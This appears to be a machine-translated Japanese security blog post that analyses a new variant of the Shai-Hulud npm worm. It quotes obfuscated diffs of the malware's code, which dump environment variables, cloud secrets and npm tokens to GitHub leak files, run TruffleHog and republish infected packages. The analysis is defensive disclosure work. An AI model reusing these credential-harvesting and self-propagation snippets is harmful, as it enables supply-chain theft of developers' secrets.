Aikido

シャイ・フルード再び襲来 - 黄金の道

チャーリー・エリクセンチャーリー・エリクセン
|
#

30分前、我々は新たな株のシャイ・フルードとみられるものを検知した。これはnpmにパッケージとしてアップロードされていたものである。 @vietmoney/react-big-calendar :

https://www.npmjs.com/package/@vietmoney/react-big-calendar

新たな種類のシャイ・フルードが含まれています。現時点では、大規模な拡散や感染は確認されていません。これは攻撃者がペイロードをテストしている段階を捕捉した可能性を示唆しています。コードの差異から、これは元のソースコードから再度難読化されたものであり、その場で改変されたものではないと考えられます。このことから、模倣犯によるものではなく、ワームのオリジナルソースコードにアクセス可能な人物によって作成された可能性が極めて高いと言えます。

ここでは新着情報を記録します。

何か新しいことは?

彼らは間違いを犯した

脅威アクターが自身のコードにバグを生じさせたことを確認しました。ファイル名を変更したものの、ミスを犯していました:

201424,201425c201387,201388
<           let _0x79fc7c = "https://raw.githubusercontent.com/" + _0x44d2dc + '/' + _0x946d5 + "/main/contents.json";
<           let _0x13d2d2 = await fetch(_0x79fc7c, {
---
>           let _0x20e4ac = "https://raw.githubusercontent.com/" + _0x168165 + '/' + _0x6e4ad4 + "/main/c0nt3nts.json";
>           let _0x34b06b = await fetch(_0x20e4ac, {
210001,210009c209956,209968
...
>   let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
...

最初のケースでは、ファイルを取得しようと試みることに注意してください c0nt3nts.jsonしかし実際にはファイルを保存します c9nt3nts.json. おっと!

ファイル構造

この新たなシャイ・フルードの株には、いくつかの変更点がある:

  • 初期ファイルは現在、 bun_installer.js
  • 主なペイロードは 環境ソース.js

新しいGitHubリポジトリの説明

GitHubにデータをリークする際に、リポジトリの説明に「Goldox-T3chs: オンリー・ハッピー・ガール".

201406,201407c201369,201370
<       let _0x49fcc3 = await this.octokit.rest.search.repos({
<         'q': "\"Sha1-Hulud: The Second Coming.\"",
---
>       let _0xa94c36 = await this.octokit.rest.search.repos({
>         'q': "\"Goldox-T3chs: Only Happy Girl.\"",

新たに漏洩したファイル名

  • 3nvir0nm3nt.json
  • cl0vd.json
  • c9nt3nts.json
  • pigS3cr3ts.json
  • アクションズ・シークレッツ.json

デッドマンスイッチが作動した

デッドマンスイッチはなくなったようだ。これは良い知らせだ:

TruffleHogのエラー処理の改善

TruffleHogがタイムアウトした際のエラー処理が改善されました:

209658,209659c209621,209623
<       let _0x2b320d = setTimeout(() => {
<         _0x51292c.kill();
---
>       let _0x28178f = setTimeout(() => {
>         _0x8a1d5e.kill();
>         _0x15b267(Error("Trufflehog execution timed out after " + this.config.timeout + 'ms'));

バージョン依存パッケージの公開

以前のバージョンでは、呼び出そうとしていました パン 感染させたパッケージを公開する機能はWindowsでは動作しない。現在はこれを処理する。

209511,209514c209474,209477
<       }, ['package']);
<       let _0x3b13f2 = "bun";
<       if (a0_0x647ad2.platform() === "win32") {
<         _0x3b13f2 = "bun.exe";
---
>       }, ["package"]);
>       let _0x4a8bac = "bun";
>       if (a0_0x3a4d5e.platform() === 'win32') {
>         _0x4a8bac = "bun.exe";
209516c209479
<       await Bun.$`npm publish ${_0x4fc35c}`.env({
---
>       await Bun.$`${_0x4a8bac} publish ${_0x21c5dd}`.env({

秘密の収集の順序

データの収集と保存の順序には、微妙ながら重要な違いがあり、意図的な変更を示唆しています。旧バージョンでは「contents」ファイルを最初に保存していたのに対し、現在は最後に保存される点に注目してください。

209986,209990c209945
<   let _0x5bb75d = {
<     'environment': process.env
<   };
<   let _0x6e06c0 = _0x1b7dd4.saveContents("contents.json", JSON.stringify(_0x5735a8), "Add file");
<   let _0x3e4549 = {
---
>   let _0xa50f9e = {
209992c209947
<       'secrets': await _0x30fddc.runSecrets()
---
>       'secrets': await _0x511a7b.runSecrets()
209995c209950
<       'secrets': await _0x79b1b9.listAndRetrieveAllSecrets()
---
>       'secrets': await _0x2efcec.listAndRetrieveAllSecrets()
209998c209953
<       'secrets': await _0x8fa8f.listAndRetrieveAllSecrets()
---
>       'secrets': await _0x390843.listAndRetrieveAllSecrets()
210001,210009c209956,209968
<   let _0x3adc69 = _0x1b7dd4.saveContents("environment.json", JSON.stringify(_0x5bb75d), "Add file");
<   let _0x584734 = _0x1b7dd4.saveContents("cloud.json", JSON.stringify(_0x3e4549), "Add file");
<   let _0xe09164 = await El(_0x4692e0);
<   if (_0x11ccd2 && _0x345f28) {
<     let _0x4012fb = await _0x345f28;
<     if (!_0xe09164.npmTokenValid) {
<       for (let _0x5998e5 of _0x4012fb) if (typeof _0x5998e5 === "object" && _0x5998e5 !== null && !Array.isArray(_0x5998e5)) {
<         for (let [_0x11c4f3, _0x402786] of Object.entries(_0x5998e5)) if (typeof _0x402786 === "string" && _0x402786.startsWith("npm_")) {
<           if (!(await El(_0x402786)).npmTokenValid) {
---
>   let _0x5801a8 = {
>     'environment': process.env
>   };
>   let _0x1c3489 = _0x43e355.saveContents("3nvir0nm3nt.json", JSON.stringify(_0x5801a8), "Add file");
>   let _0x383025 = _0x43e355.saveContents("cl0vd.json", JSON.stringify(_0xa50f9e), "Add file");
>   let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
>   let _0x5a8131 = await El(_0x587238);
>   if (_0x582c1c && _0x218a2b) {
>     let _0x2eb280 = await _0x218a2b;
>     if (!_0x5a8131.npmTokenValid) {
>       for (let _0x66a856 of _0x2eb280) if (typeof _0x66a856 === "object" && _0x66a856 !== null && !Array.isArray(_0x66a856)) {
>         for (let [_0x8baf81, _0x5cea54] of Object.entries(_0x66a856)) if (typeof _0x5cea54 === 'string' && _0x5cea54.startsWith("npm_")) {
>           if (!(await El(_0x5cea54)).npmTokenValid) {

これは進行中のニュースです。続報をお待ちください。

4.7/5

今すぐソフトウェアを保護しましょう

無料で始める
CC不要
デモを予約する
データは共有されない - 読み取り専用アクセス - CC不要

今すぐ安全を確保しましょう

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要。